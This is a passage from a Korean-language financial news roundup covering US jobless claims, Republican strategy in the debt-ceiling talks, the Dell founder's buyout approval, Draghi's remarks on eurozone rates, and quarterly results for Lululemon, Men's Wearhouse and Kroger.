청구건수가 전주보다 3만1000건 급감한 29만2000건을 기록했다고 발표했다. 이는 2주일전의 32만3000건은 물론 33만건이던 시장 전망치를 모두 크게 밑돈 것이다. 특히 이는 지난 2006년 4월 이후 무려 7년 5개월만에 30만건 아래로 내려간 최저치였다. 다만 이에 대해 노동부는 “이처럼 청구건수가 큰 폭으로 줄어든 것은 두 곳의 주(州)에서 컴퓨터를 업그레이드하는 탓에 청구건수를 완전하게 집계하지 못한 탓도 있다”며 일시적인 변동 요인이 클 것으로 추정했다. 이로 인해 청구건수는 다음주에 다시 큰 폭으로 반등할 가능성이 있으며 종전 수준인 32만5000건 언저리로 돌아갈 것으로 보인다. ◇ 공화당 “오바마케어 늦춘다”..부채증액 협상 난항예고공화당이 임박한 연방정부 부채한도 상한 증액 협상과정에서 전 국민 의료보험 가입을 의무화하는 오바마케어 시행을 얻어내는데 주력하기로 했다. 이에 따라 부채증액 협상에도 먹구름이 끼고 있다. 에릭 캔터(버지니아주) 공화당 하원 원내대표는 이날 워싱턴D.C 의회에서 기자들과 만나 “이번 부채한도 증액 협상에서 공화당의 최우선 과제는 오바마케어 시행을 늦추는데 있다”고 공식적으로 밝혔다. 이같은 공화당의 전략은, 오는 10월1일부터 시작되는 정부의 새 회계연도 재정지출을 위해 60~90일간 한시적으로 자금 조달을 허용하자는 법안에 대한 표결을 당초 이번주에서 연기한 것과 같은 맥락으로 풀이된다. 이를 위해 캔터 대표는 오는 23일부터 1주일간 예정된 의회 임시 휴회를 취소하고 월말까지 집중적으로 민주당과 이 문제를 협의하겠다고 말했다. 그러나 이같은 공화당의 전략에 대해 민주당은 즉각 반대 입장을 내놓았다. 해리 리드 민주당 상원 원내대표는 “현 정부 회계연도가 이달 30일이면 마무리되는 상황에서도 하원은 연방정부 폐쇄를 향해 가고 있다”고 비판하며 “공화당이 부채증액 협상과 오바마케어 시행 연기를 엮으려고 하는 것은 시간 낭비일 뿐”이라고 지적했다. 또 “이제 공화당은 이같은 유치한 정치게임을 즉각 중단해야할 것”이라고 경고하면서 “다른 어떤 정책 변화도 없이 정부 부채한도 상한만을 증액해야 한다”고 촉구했다. ◇ 델, 창업주 지분인수 승인..상장폐지 수순 밟는다7개월간을 끌어온 지분 인수전 끝에 델 주주들이 마이클 델 창업주의 인수 제안을 결국 수용했다. 249억달러(27조원)에 창업주의 품으로 들어가게 된 델은 상장 폐지 수순을 밟게 된다. 델은 이날 본사가 있는 텍사스주 라운드락에서 회의를 열고 주주 표결을 통해 델 창업주와 사모투자펀드(PEF)인 실버레이크 매니지먼트가 제안한 총 249억달러 규모의 지분 인수안을 공식 승인했다. 이같은 주주들의 승인은 지난주 델 창업주와 인수 다툼을 벌여온 ‘기업 사냥꾼’ 칼 아이칸이 전쟁에서 물러나겠다는 뜻을 밝히면서 어느 정도 예견됐었다. 당시 아이칸은 델 창업주의 인수에 반대해 주식 매수청구권을 행사하겠다고 밝히면서도 “델 인수전에서 승리하는 것은 거의 불가능해 보이는 만큼 손을 떼겠다“고 선언했다. 이로써 델 창업주는 기업 차입매수(바이아웃)를 통해 주당 13.88달러에 주식을 인수하고 이를 수용한 델의 주주들에게 주당 13센트의 특별배당을 추가로 제공하고 다음 분기에도 주당 8센트씩 배당을 지급하기로 했다. 또 세계 3위 개인용 컴퓨터(PC) 제조업체인 델의 지분 매각은 지난 2007년 블랙스톤그룹이 힐튼월드와이드를 인수한 이후 6년만에 최대 규모의 바이아웃 인수합병(M&A)으로 기록되게 됐다. 스마트폰과 태블릿PC의 부상으로 극심한 부침을 겪었던 델은 이제 지분 매각 이후 델 창업주 등이 보유한 사적 회사로 전환되고 주식시장에서 상장 폐지되면서 머나먼 실적 회생의 과정을 걷게 됐다. 그러나 앞으로의 길도 순탄치 만은 않을 것으로 보인다. 바이아웃을 통한 인수로 인해 델의 부채규모는 엄청나게 불어나게 되기 때문이다. ◇ 드라기 “유로존 회복세 미약..단기금리 상승 정당화안돼”유로존 경제 회복세는 아직 미약한 초기 단계인 만큼 최근 단기금리 상승은 정당화될 수 없으며 유럽중앙은행(ECB)도 상당기간 저금리를 유지하겠다고 마리오 드라기 총재가 재확인했다. 드라기 총재는 이날 리투아니아 리가에서 열린 컨퍼런스에 참석, “현 시점에서의 단기자금시장에서의 금리 상승은 정당화될 수 없다”고 밝혔다. 실제 내년 8월 ECB 기준금리에 연동되는 유로존 단기자금 조달 금리인 Eonia 선도계약금리는 0.25%로, 지난 7월8일의 0.09% 수준에서 두 달만에 두 배 이상 올랐다. 그나마 지난달 0.30%를 넘었던 금리는 드라기 총재의 지속적인 부양 발언으로 다소 낮아진 상태다. 그는 “유로존에서의 경제 회복세는 여전히 아주, 아주 초기단계일 뿐이며 일부 경기심리지표 등이 개선되고 있지만, 이 정도로는 경기가 본격 회복될 것이라는 어떠한 열광도 할 수 없는 상황”이라고 말했다. 이에 따라 드라기 총재는 “ECB는 앞으로도 현재의 포워드 가이던스를 지속적으로 유지하겠다”며 상당기간 저금리를 유지하겠다는 뜻을 재차 강조했다. 앞서 그는 “ECB 기준금리는 앞으로 상당 기간 현재 수준 또는 이보다 낮게 유지될 것이며 통화정책은 필요로 하는 한 오랫동안 부양기조를 유지할 것”이라는 가이던스를 제시한 바 있다.아울러 드라기 총재는 ”이같은 포워드 가이던스는 시장 변동성을 통제하는데 매우 성공적인 모습을 보였고 단기자금시장 금리를 낮추는데도 다소 성공적이었다“며 ”특히 자금조달 시장에서의 어려움도 거의 해소됐다“고 말했다. 다만 ”대출측면에서 보면 조달시장에서의 이같은 진전이 나타나지 못하고 있다“고 덧붙였다. ◇ 룰루레몬-멘스웨어하우스 실적부진..크로거는 호조미국 최대 요가용품 소매업체인 룰루레몬 애쓸레티카의 올 2분기(6~8월) 순이익이 5650만달러로, 전년동기의 5720만달러보다 소폭 감소했다. 주당 순이익은 39센트로, 전년동기와 같은 수준이었다. 이는 주당 35센트였던 시장 전망치도 웃돌았다. 또 이 기간중 순매출은 3억4450만달러로, 전년동기의 2억8260만달러보다 큰 폭으로 증가했고 이는 3억4400만달러인 시장 전망치도 소폭 상회한 것이다. 같은 기간 동일점포 매출은 8% 증가했다.남성의류 소매점과 무어스, K&G 등 소매업체를 거느리고 있는 멘스 웨어하우스의 올 2분기(6~8월) 순이익이 4290만달러, 주당 85센트를 기록했다. 이는 1년전 같은 기간의 5940만달러, 주당 1.15달러에 비해 28%나 감소한 것이다. 이에 따라 회사측은 종전 주당 2.40~2.50달러로 제시했던 올 회계연도 연간 조정 순이익 전망치를 2.10~2.20달러로 30센트씩 하향 조정했다. 반면 미국내 최대 슈퍼마켓 체인인 크로거의 올 2분기(6~8월) 순이익이 3억1700만달러, 주당 60센트를 기록했다고 발표했다. 이는 1년전 같은 기간의 2억7900만달러, 주당 51센트보다 14% 증가한 것이다. 또 주당 60센트였던 시장 전망치에도 부합했다. 이에 따라 크로거는 올 회계연도 연간으로 휘발유 판매를 제외한 순수 동일점포 매출이 3~3.5% 증가할 것으로 예상하며 종전 2.5~3.5% 전망치의 하단을 높여 잡았다. 또 연간 이익 전망치는 종전대로 유지했다.